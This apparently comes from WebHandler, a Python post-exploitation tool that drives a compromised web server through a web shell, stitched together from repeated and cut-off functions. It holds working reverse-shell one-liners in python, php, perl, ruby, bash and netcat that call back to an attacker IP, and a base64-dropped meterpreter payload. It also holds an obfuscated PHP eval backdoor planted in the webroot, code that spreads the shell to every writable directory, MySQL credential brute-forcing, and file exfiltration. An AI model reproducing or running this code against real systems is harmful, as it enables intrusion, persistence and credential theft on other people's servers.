def python(self, ip, port): cmd = "for x in `whereis python`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" python = make_request.get_page_source(cmd) if python: cprint('\n[i] Found python:', 'green') c = 1 for path in python: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in python: cmd = 'nohup {0} -c '.format(path) cmd += '\'import socket,subprocess,os;' cmd += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);' cmd += 's.connect(("{0}",{1}));'.format(ip, port) cmd += 'os.dup2(s.fileno(),0);' cmd += 'os.dup2(s.fileno(),1);' cmd += 'os.dup2(s.fileno(),2);' cmd += 'p=subprocess.call(["/bin/sh","-i"]);\' &echo "\n"' make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue') else: cprint('\n[!] Didn\'t find python on the remote system', 'red')
def php_cli(self, ip, port): cmd = "for x in `whereis php`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" php = make_request.get_page_source(cmd) if php: cprint('\n[i] Found php-cli:', 'green') c = 1 for path in php: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in php: cmd = 'nohup {0} -r '.format(path) cmd += '\'$sock=fsockopen("{0}",{1});'.format(ip, port) cmd += 'exec("/bin/sh -i <&3 >&3 2>&3");\' &echo "\n"' make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue') else: cprint('\n[!] Didn\'t find php-cli on the remote system', 'red')
def perl(self, ip, port): cmd = "for x in `whereis perl`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" perl = make_request.get_page_source(cmd) if perl: cprint('\n[i] Found perl:', 'green') c = 1 for path in perl: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in perl: cmd = 'nohup {0} -e '.format(path) cmd += '\'use Socket;' cmd += '$i="{0}";'.format(ip) cmd += '$p="{0}";'.format(port) cmd += 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' cmd += 'if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");' cmd += 'open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' & echo "\n"' make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue') else: cprint('\n[!] Didn\'t find perl on the remote system', 'red')
def ruby(self, ip, port): cmd = "for x in `whereis ruby`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" ruby = make_request.get_page_source(cmd) if ruby: cprint('\n[i] Found ruby:', 'green') c = 1 for path in ruby: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in ruby: cmd = 'nohup {0} -rsocket -e'.format(path) cmd += '\'f=TCPSocket.open("{0}",{1}).to_i;'.format(ip, port) cmd += 'exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)\' &echo "\n"' make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue') else: cprint('\n[!] Didn\'t find ruby on the remote system', 'red')
def msf(self, ip, port): if len( Popen( "for x in `whereis msfvenom`; do file $x | grep symbolic; done", shell=True, stdout=PIPE).stdout.read().strip()) == 0: cprint('\n[!] Wasn\'t able to detect the metasploit framework', 'red') else: cprint('\n[i] Found the metasploit framework:', 'green') folder = linux.get_writble_dir() if folder: filename = ''.join( choice(string.ascii_letters + string.digits) for x in range(8)) cprint('[+] Filename: \'{0}\''.format(filename), 'green') path = '{0}/{1}'.format(folder, filename) msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} E)' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) cprint('[i] Generating linux/x86/meterpreter/reverse_tcp', 'green') shell = Popen( 'msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={0} LPORT={1} -f elf | base64' .format(ip, port), shell=True, stdout=PIPE).stdout.read().strip() cmd = 'echo "{0}" | base64 -i -d > {1} && chmod +x {1} && nohup {1} &echo "\n"'.format( shell, path) cprint('[+] Sending payload & executing', 'green') make_request.get_page_source(cmd) cprint('[+] Done!', 'blue')
def netcat(self, ip, port): ''' nc.OpenBSD deosn't have -e switch. Alternative solution: rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f ''' cmd = "for x in `whereis nc netcat`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" netcat = make_request.get_page_source(cmd) if netcat: cprint('\n[i] Found netcat:', 'green') c = 1 for path in netcat: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored( '\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in netcat: cmd = 'nohup {0} {1} {2} -e /bin/bash &echo "\n"'.format( path, ip, port) make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue') else: cprint('\n[!] Didn\'t find netcat on the remote system', 'red')
def create_connection(self): try: print banner print colored('\n[i] Connecting to: ', 'green') + colored( str(self.ip), 'yellow') + colored(':', 'green') + colored( str(self.port), 'yellow') self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((self.ip, self.port)) self.socket.setblocking(0) except socket.error: cprint( '\n[!] Wasn\'t able to connect to: {0}, on port: {1}.'.format( self.ip, self.port), 'red') exit(3)
def php(self, ip, ourIP): wwwroot = linux.get_doc_root() cmd = 'find {0} -depth -perm -0002 -type d | sort -R '.format(wwwroot) folder = make_request.get_page_source(cmd) if folder: folder = folder[0] cprint('\n[+] Found a writable directory: \'{1}\''.format(folder), 'green') filename = '.' + ''.join(choice(string.ascii_letters + string.digits) for x in range(8)) + '.php' cprint('[+] Filename: \'{1}\''.format(filename), 'green') location = '{0}/{1}'.format(folder, filename) cmd = 'find {0} -type f -print'.format(wwwroot) files = make_request.get_page_source(cmd) cprint('[i] Select a file to \'clone\' (or \'0\' to skip):', 'green') cprint(' 0.) Don\'t close - create new', 'green') path = [] c = 0 for file in files: path.append(file) c += 1 cprint('{0:2d}.) {1}'.format(c, file), 'green') while True: try: clone = int(raw_input(colored('[>] Which file to use? [0-{0}: '.format(c)))) if 0 <= clone <= c: break except ValueError: pass if clone != 0: cmd = 'cp -f {0} {1}'.format(path[int(clone) - 1], location) make_request.get_page_source(cmd) cprint('[+] Creating our \'evil\' file: \'{0}\''.format(location), 'green') parameter = ''.join(choice(string.ascii_lowercase) for x in range(6)) casePayload = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'eval')))) caseShell = choice(map(''.join, product(*((c.upper(), c.lower()) for c in 'php eval(base64_decode')))) payload = "{0}($_GET['{1}'].';');".format(casePayload, parameter) payloadEncoded = b64encode(payload).format(payload) evilFile = "<?{0}(\"{1}\")); ?>".format(caseShell, payloadEncoded) cmd = 'echo \'{0}\' >> \"{1}\"'.format(evilFile, location) make_request.get_page_source(cmd) cprint('[+] Done!', 'blue') uri = folder[len(wwwroot):] #>>> '/'.join('https://localhost/html/shell.php'.split('/', 3)[:3]) #'https://localhost' url = '/'.join(getargs.url.split('/', 3)[:3]) example = """Example: curl "{url}{uri}/{filename}?{parameter}=phpinfo()" curl "{url}{uri}/{filename}?{parameter}=require(\'/etc/passwd\')" curl "{url}{uri}/{filename}?{parameter}=system(\'/sbin/ifconfig\')" msfcli exploit/unix/webapp/php_eval RHOST={url} RPORT=80 PHPURI={uri}/{filename}?{parameter}=\!CODE\! PAYLOAD=php/meterpreter/reverse_tcp LHOST={ourIP} LPORT=4444 E""".format( url=url, uri=uri, filename=filename, parameter=parameter, ourIP=ourIP,) cprint(example, 'green') else: cprint('\n[!] Unable to find a writable directory', 'red')
def bash(self, ip, port): cmd = "for x in `whereis bash`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done" bash = make_request.get_page_source(cmd) if bash: cprint('\n[i] Found bash:') c = 1 for path in bash: cprint('{0:2d}.) {1}'.format(c, path), 'green') c += 1 msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green') msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})' msg += colored('\n[?] Press <return> when ready!', 'yellow') raw_input(msg.format(ip, port)) for path in bash: cmd = 'nohup {0} -c \'{0} -i >& /dev/tcp/{1}/{2} 0>&1\' &'.format(path, ip, port) make_request.get_page_source(cmd) if self.checkPort(port): break cprint('[+] Done!', 'blue')
def wait_connection(self): try: print banner print colored('\n[i] Waiting on port: ', 'green') + colored( str(self.port), 'yellow') server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', self.port)) server.listen(1) try: self.socket, self.address = server.accept() self.socket.setblocking(0) targetIP, targetPort = self.address cprint('[+] Received connection from: {0}'.format(targetIP), 'magenta') except KeyboardInterrupt: cprint('\n[!] Lost connection. Exiting...', 'red') except socket.error: cprint( '\n[!] Wasn\'t able to open a port. Make sure to run WebHandler with a user which can (e.g. superuser)', 'red') exit(3)
def spread(self): provided_shell_name = raw_input(colored('\n[?] Current shell name: ', 'green')) shell_name = getargs.url.split('/')[-1] if getargs.method == 'post' else provided_shell_name cmd = 'find {0} -depth -perm -0002 -type d | xargs -n 1 cp -v {1}'.format(linux.get_doc_root(), shell_name) done = make_request.get_page_source(cmd) if done: success = '\n[+] {shell_name}{end} already written to {hot}{writable_length} paths'.format( shell_name=shell_name, writable_length=len(done)) success += '\n[+] To check these paths type @enum writable' cprint(success, 'blue') else: cprint('\n[!] Something went wrong while spreading shell', 'red')
def mysql(self): folder = linux.get_writble_dir() if folder: self.bruter_file = folder + '/mysql.php' self.wordlist = folder + '/wordlist.txt' cprint('\n[+] Uploading the bruter/wordlist ...', 'green') file_handler.upload_file('modules/bruters/mysql_bruter.php', self.bruter_file) file_handler.upload_file('modules/bruters/wordlist.txt', self.wordlist) cmd = 'cd {0}; php {1}'.format(folder, self.bruter_file) cprint('\n[+] Brute-Forcing MySql Creds ...', 'green') try: creds = make_request.get_page_source(cmd) creds = ''.join(creds).split(':') if creds[0] == 'success': username = colored(creds[1], 'blue') password = colored(creds[2], 'blue') print '[+] MySql Creds Username: {0} Password: {1}'.format(username, password) else: cprint('[!] Couldn\'t brute-force MySql credentials', 'red') self.clean() except KeyboardInterrupt: self.clean()
class FileHandler(object): # A method for downloading files from the box def download_file(self, rfile_path, lfile_path): cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format( rfile_path) file_type = make_request.get_page_source(cmd) if file_type: file_type = file_type[0] if file_type == 'file': cmd = 'cat {0}'.format(rfile_path) try: with open(lfile_path, 'w') as dest_file: dest_file.write( '\n'.join(make_request.get_page_source(cmd)) + '\n') print '\n[+] Successfully downloaded "{0}" to "{1}"'.format( rfile_path, lfile_path) except IOError, e: cprint('\n[!] Error: {0}'.format(e), 'red') elif file_type == 'dir': cmd = 'find {0} | while read f;do echo $f;done'.format(rfile_path) files = make_request.get_page_source(cmd) for file in files: cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format( file) file_type = make_request.get_page_source(cmd)[0] if file_type == 'dir': #folder = os.path.exists(os.path.join(lfile_path, file)) # Didn't like: @download /media/CD /root/ folder = lfile_path + file if not os.path.exists(folder): os.makedirs(folder) elif file_type == 'file': cmd = 'cat {0}'.format(file) try: #with open(os.path.join(lfile_path, file), 'w') as dest_file: # Didn't like: @download /media/CD /root/ with open(lfile_path + file, 'w') as dest_file: dest_file.write( '\n'.join(make_request.get_page_source(cmd)) + '\n') except IOError, e: cprint('\n[!] Error: {0}'.format(e), 'red') else: print colored('[!] Coudln\'t download the following file:', 'red'), file
def singleCrack(hash): if hashType(hash) in oneWay.algos: for db in oneWay.dbs: try: if oneWay.dbs[db](hash, hashType(hash)): output = (oneWay.dbs[db](hash, hashType(hash)), hashType(hash), db) return "\nhash: {0} \t plain: {1} type: {2} database: {3}".format( colored(hash, 'white'), colored(output[0], 'green'), colored(output[1], 'white'), colored(output[2], 'white')) break else: return colored("{0} \t Not Found".format(hash), 'red') except: pass else: msg = colored("\n{0}: \t Not Detected.\n".format(hash), 'red') msg += colored( '[+] Supported hashes [md5, sha1, sha224, sha256, mysql3, mysql4]', 'red') return msg
if not os.path.exists(folder): os.makedirs(folder) elif file_type == 'file': cmd = 'cat {0}'.format(file) try: #with open(os.path.join(lfile_path, file), 'w') as dest_file: # Didn't like: @download /media/CD /root/ with open(lfile_path + file, 'w') as dest_file: dest_file.write( '\n'.join(make_request.get_page_source(cmd)) + '\n') except IOError, e: cprint('\n[!] Error: {0}'.format(e), 'red') else: print colored('[!] Coudln\'t download the following file:', 'red'), file print colored('\n[+] Downloaded successfully to:', 'green'), lfile_path else: cprint( '\n[!]The file/directory doesn\'t exist or I don\'t have permission', 'red') # A method for uploading files to the box def upload_file(self, lfile_path, rfile_path): with open(lfile_path) as local_file: data_to_upload = local_file.read().encode('base64').strip() data = 'echo {0}| base64 -d > {1}'.format( ''.join(data_to_upload.split()), rfile_path) make_request.get_page_source(cmd=data) print '[+] Successfully uploaded {0} to {1}'.format( lfile_path, rfile_path)
def get_page_source(self, cmd): self.cmd = cmd result = re.search(';sudo ', self.cmd) if result: command = self.cmd.replace( 'sudo', '{0}sudo{1}'.format('\033[91m', '\033[93m')) errmsg = colored( '\n[!] Warning this command ({0}) could break the connection. I\'m not going to allow it to be sent' .format(command), 'red') cprint(errmsg, 'red') elif getargs.url: # Proxy support proxy_support = ProxyHandler( {'http': self.proxy} if self.proxy else {}) opener = build_opener(proxy_support) # User angent if self.random_agent: opener.addheaders = [ ('User-agent', USER_AGENTS[randint(0, len(USER_AGENTS) - 1)]) ] elif self.user_agent: opener.addheaders = [('User-agent', self.user_agent)] else: pass install_opener(opener) errmsg = colored( '\n[!] Check your network connection and/or the proxy (if you\'re using one)', 'red') fourzerofourmsg = colored( '\n[!] Please make sure the page (\'{0}\') requested exists!'. format(self.url), 'red') # Check if the method is POST if self.method == 'post' or self.parameter: self.method = 'post' parameters = urlencode({ self.parameter: 'echo ::command_start::;' + self.cmd.strip(';') + ';echo ::command_end::;' }) try: sc = map(str.rstrip, opener.open(self.url, parameters).readlines()) sc = '::command_deli::'.join(sc) sc = re.search('::command_start::(.+)::command_end::', sc) if sc: sc = sc.group(1).split('::command_deli::')[1:-1] else: parameters = urlencode( {self.parameter: self.cmd.strip(';')}) sc = map(str.rstrip, opener.open(self.url, parameters).readlines()) return sc except InvalidURL: exit(errmsg) # except: # exit(fourzerofourmsg) # If the used method set GET else: try: sc = map( str.rstrip, opener.open('{0}{1}'.format( self.url, quote('echo ::command_start::;' + self.cmd.strip(';') + ';echo ::command_end::;'))).readlines()) sc = '::command_deli::'.join(sc) sc = re.search('::command_start::(.+)::command_end::', sc) if sc: sc = sc.group(1).split('::command_deli::')[1:-1] else: sc = map( str.rstrip, opener.open('{0}{1}'.format( self.url, quote(self.cmd.strip(';')))).readlines()) return sc except InvalidURL: exit(errmsg) except HTTPError: cprint( '[!] This is a 414 error code and you need to work with a POST method', 'red') exit() elif getargs.listen: try: if (listen.socket.sendall(cmd + "\n") != None): errmsg = colored('\n[!] Error in sending data (#1)', 'red') cprint(errmsg, 'red') time.sleep(0.1) sc = '' buffer = listen.socket.recv(1024) if buffer == '': errmsg = colored('\n[!] Lost connection. Exiting...', 'red') cprint(errmsg, 'red') listen.socket.close() exit(1) while buffer != '': sc = sc + buffer # sc +=+ buffer # convert " to ' try: buffer = listen.socket.recv(1024) except: buffer = '' return sc.split('\n')[:-1] except: if (listen.socket.sendall(cmd + "\n") != None): errmsg = colored('\n[!] [!] Error in sending data (#2)', 'red') cprint(errmsg, 'red') pass elif getargs.connect: try: if (connect.socket.send(cmd + "\n") == None): errmsg = colored('\n[!] Error in sending data (#1)', 'red') cprint(errmsg, 'red') time.sleep(0.1) sc = '' buffer = connect.socket.recv(1024) if buffer == '': errmsg = colored('\n[!] Lost connection. Exiting...', 'red') cprint(errmsg, 'red') connect.socket.close() exit(1) while buffer != '': sc = sc + buffer try: buffer = connect.socket.recv(1024) except: buffer = '' return sc.split('\n')[:-1] except: pass else: errmsg = colored('\n[!] Unsupported mode!', 'red') cprint(errmsg, 'red') exit(1)
def BackConnect(self): print info.get_information() # printing information banner self.cwd = info.cwd readline.set_completer( completer.complete) # calling auto-complete method cmdcount = 1 while True: try: try: # Getting command to be executed from the user command = raw_input( "[" + info.current_user + colored('@', 'red') + colored(info.hostname, 'green') + colored( ' {0}'.format(self.cwd[:10] + '...' + self.cwd[-10:] if len(self.cwd) > 20 else self.cwd), 'magenta') + ' ]$ ').strip() # If something went wrong screw the list except IndexError: command = raw_input('WebHandler@server:$ ').strip() command_list = command.split() # Updating command history self.history.append(unquote(command)) if command not in ('exit', 'quit', 'bye'): if command == 'clear': Popen('clear', shell=True).wait() elif command and command[0] == '!': self.execute(command) elif command and command[0] == '#': continue # Execute a module elif command and command[0].startswith(('@', ':')): try: self.commands[command_list[0]](command_list) except KeyError: cprint( '[+] {0} module does not exist!'.format( command_list[0]), 'red') else: try: #Handle the current working directory 'cwd' if command_list[0] == 'cd' and len( command_list) > 1: cwd = self.cwd if '../' in command_list[ -1] or '..' in command_list[-1]: self.cwd = '/'.join( cwd.split('/') [:-len(command_list[-1].split('..')) + 1]) if not self.cwd: self.cwd = '/' else: if command_list[-1].startswith('/'): cmd = '[ -d {0} ] && echo is_valid'.format( command_list[-1]) if make_request.get_page_source( cmd)[0] == 'is_valid': self.cwd = command_list[-1] else: print 'bash: cd: {0}: No such file or directory'.format( command_list[-1]) else: cmd = '[ -d {0}/{1} ] && echo is_valid'.format( cwd, command_list[-1]) if make_request.get_page_source( cmd)[0] == 'is_valid': self.cwd = '{0}/{1}'.format( cwd, command_list[-1]) else: print 'bash: cd: {0}: No such file or directory'.format( command_list[-1]) elif command_list[0] == 'cd' and len( command_list) == 1: self.cwd = info.cwd # dirty patch to get the original cwd else: # Setting aliases for some commands to avoid # Issues realted to empty directories # command = command.replace('ls', 'ls -lh --color') if command_list[0] == 'ls' else command # command = command.replace('rm', 'rm -v') if command_list[0] == 'rm' else command # command = command.replace('cp', 'cp -v') if command_list[0] == 'cp' else command # command = command.replace('ifconfig', '/sbin/ifconfig') if self.aliased_commands.get(command): command = self.aliased_commands[ command].strip("'") # Get the source code cotenets cmd = 'cd {0}&&{1} 2>&1'.format( self.cwd, command) source = make_request.get_page_source(cmd) if source: for line in source: print line # If the executed command doesn't exist else: errmsg = '{0}: command not found '.format( unquote(command)) errmsg += 'or I don\'t have permission to execute it' if command_list[0] == 'echo': pass else: cprint(errmsg, 'red') except IndexError: pass # Exit WebHandler if user provides exit as a command else: #on_exit = '\n[+] Preformed "{0}" commands on the server, {1}'.format(cmdcount, info.host_ip.split(',')[0]) on_exit = '\n[*] Connection closed' cprint(on_exit, 'red') break # If recieved a break (^c)... Do nothing! except KeyboardInterrupt: print "" cmdcount += 1
def get_page_source(self, cmd): self.cmd = cmd if self.shouldIuseB64: self.cmd = "echo %s | base64 -d | sh" % self.cmd.encode( 'base64').replace('\n', '') result = re.search(';sudo ', self.cmd) if result: command = self.cmd.replace( 'sudo', '{0}sudo{1}'.format('\033[91m', '\033[93m')) errmsg = colored( '\n[!] Warning this command ({0}) could break the connection. I\'m not going to allow it to be sent' .format(command), 'red') cprint(errmsg, 'red') elif getargs.url: try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: # Legacy Python that doesn't verify HTTPS certificates by default pass else: # Handle target environment that doesn't support HTTPS verification ssl._create_default_https_context = _create_unverified_https_context # Proxy support proxy_support = ProxyHandler( {'http': self.proxy} if self.proxy else {}) opener = build_opener(proxy_support, HTTPHandler(debuglevel=0)) opener.addheaders = [ ('Accept', '*/*'), ] if getargs.headers: # print opener.addheaders # print getargs.headers opener.addheaders.extend(getargs.headers) # Tor support if self.tor: opener = build_opener( SocksiPyHandler(PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)) # print opener.open('http://ifconfig.me/ip').read() # exit() # User angent if getargs.random_agent: opener.addheaders.extend([('User-agent', self.random_agent)]) elif self.user_agent: opener.addheaders.extend([('User-agent', self.user_agent)]) else: pass install_opener(opener) errmsg = colored( '\n[!] Check your network connection and/or the proxy (if you\'re using one)', 'red') # Check if the method is POST if self.method == 'post' or (self.parameter and self.method != 'cookie'): self.method = 'post' parameters = urlencode({ self.parameter: 'echo ::command_start::;' + self.cmd.strip(';') + ';echo ::command_end::;' }) try: sc = map(str.rstrip, opener.open(self.url, parameters).readlines()) sc = '::command_deli::'.join(sc) sc = re.search('::command_start::(.*?)::command_end::', sc) if sc: sc = sc.group(1).split('::command_deli::')[1:-1] else: parameters = urlencode( {self.parameter: self.cmd.strip(';')}) sc = map(str.rstrip, opener.open(self.url, parameters).readlines()) return sc except InvalidURL: exit(errmsg) # except: # exit(fourzerofourmsg) # If the used method set GET else: try: if self.method == 'cookie': opener.addheaders += [ ('Cookie', '{0}={1}'.format( self.parameter, quote('echo ::command_start::;' + self.cmd.rstrip().strip(';') + ';echo ::command_end::;'))), ] sc = map(str.rstrip, opener.open(self.url).readlines()) else: sc = map( str.rstrip, opener.open('{0}{1}'.format( self.url, quote('echo ::command_start::;' + self.cmd.strip(';') + ';echo ::command_end::;'))).readlines()) sc = '::command_deli::'.join(sc) sc = re.search('::command_start::(.*?)::command_end::', sc) if sc: sc = sc.group(1).split('::command_deli::')[1:-1] else: sc = map( str.rstrip, opener.open('{0}{1}'.format( self.url, quote(self.cmd.strip(';')))).readlines()) return sc except InvalidURL: exit(errmsg) except HTTPError: cprint( '[!] This is a 414 error code and you need to work with a POST method', 'red') exit() elif getargs.listen: try: if (listen.socket.sendall(cmd + "\n") != None): errmsg = colored('\n[!] Error in sending data (#1)', 'red') cprint(errmsg, 'red') time.sleep(1) sc = '' buffer = listen.socket.recv(1024) if buffer == '': errmsg = colored('\n[!] Lost connection. Exiting...', 'red') cprint(errmsg, 'red') listen.socket.close() exit(1) while buffer != '': sc = sc + buffer # sc +=+ buffer # convert " to ' try: buffer = listen.socket.recv(1024) except: buffer = '' sc = [ i for i in sc.split('\n')[:-1] if not any(s in i for s in [ 'job control in this shell', 'cannot set terminal process group', 'can\'t access tty', '<' ]) ] return sc except: if (listen.socket.sendall(cmd + "\n") != None): errmsg = colored('\n[!] [!] Error in sending data (#2)', 'red') cprint(errmsg, 'red') pass elif getargs.connect: try: if (connect.socket.send(cmd + "\n") == None): errmsg = colored('\n[!] Error in sending data (#1)', 'red') cprint(errmsg, 'red') time.sleep(1) sc = '' buffer = connect.socket.recv(1024) if buffer == '': errmsg = colored('\n[!] Lost connection. Exiting...', 'red') cprint(errmsg, 'red') connect.socket.close() exit(1) while buffer != '': sc = sc + buffer try: buffer = connect.socket.recv(1024) except: buffer = '' return sc.split('\n')[:-1] except: pass else: errmsg = colored('\n[!] Unsupported mode!', 'red') cprint(errmsg, 'red') exit(1)
cprint("- WebHandler: python webhandler.py --listen 1234", 'yellow') cprint("- netcat: nc -lp 1234", 'yellow') cprint(" Target's side:", 'green') cprint("- nc mywebsite.com:1234 -e /bin/sh\n", 'yellow') # More examples: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet cprint("-- Netcat ~ Connecting client (for an reverse connection) --", 'blue') cprint(" Target's side:", 'green') cprint("- nc -lp 5678 -e /bin/bash", 'yellow') cprint(" Example command:", 'green') cprint("- WebHandler: python webhandler.py --connect mywebsite.com:5678", 'yellow') cprint("- netcat: nc mywebsite.com:5678\n", 'yellow') print "Run: " + colored("{0} -h".format(argv[0]), 'red') + " for help & more example commands" exit(1) else: # Check for arguments dependencies if getargs.url: if getargs.method == 'post' and not getargs.parameter: errmsg = '\n[!] Using post method requires --parameter flag, check help' exit(cprint(errmsg, 'red')) elif getargs.method == 'get' and getargs.parameter: errmsg = '\n[!] Using get method doesn\'t require --parameter flag, check help' exit(cprint(errmsg, 'red')) else: if not getargs.banner: print banner # Print the banner commander.BackConnect() # Call BackConnect method to handle input
def get_information(self): now = datetime.datetime.now() # Call get_page_source() method then assign it to self.source source = make_request.get_page_source( self.cmd) if not getargs.banner else [] source = iter(source) self.current_user = next(source, "bash") self.current_id = next(source, "host") self.kernel_info = next(source, "kernel info") self.cwd = next(source, "cwd") self.perm_cwd = next(source, "permission") self.uptime = next(source, "uptime") self.host_ip = next(source, "Host") self.session = now.strftime("%Y-%m-%d") if getargs.url: self.url = '/'.join(getargs.url.split('/', 3)[:3]) else: self.url = "n/a" try: # Get the attacker's ip address (Thanks @mandreko) self.local_ip = (urlopen('http://ip.pla1.net').read() ).strip() if not getargs.banner else 'Unknown' except: self.local_ip = 'Unknown' self.info = '\t' + '-' * int(len(self.kernel_info) + 18) + '\n' self.info += colored("\tUser : "******"\tID : ", 'red') + colored( self.current_id, 'green') + '\n' self.info += colored("\tKernel : ", 'red') + colored( self.kernel_info, 'green') + '\n' self.info += colored("\tCWD : ", 'red') + colored( self.cwd, 'green') + colored( '\t\t' + self.perm_cwd, 'yellow', attrs=['bold']) + '\n' self.info += colored("\tUptime : ", 'red') + colored( self.uptime, 'green') + '\n' self.info += colored("\tTarget's IPs : ", 'red') + colored( self.host_ip, 'green') + '\n' self.info += colored("\tOur IP : ", 'red') + colored( self.local_ip, 'green') + '\n' self.info += '\t' + '-' * int(len(self.kernel_info) + 18) self.info += "\n\n" self.info += colored("\t[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n' \ if not getargs.banner else '' self.info += colored( "\t[+] Inserting ! at the begining of the command will execute the command locally (on your box)", 'blue', attrs=['underline', 'bold']) self.info += "\n" if not getargs.banner: return self.info else: return 'Welcome to WebHandler'
def help(self): msg = colored('\n[+] Usage: @scan <host> <range>\n', 'blue') msg += colored('Example. @scan 127.0.0.1 1-2000', 'white') print(msg)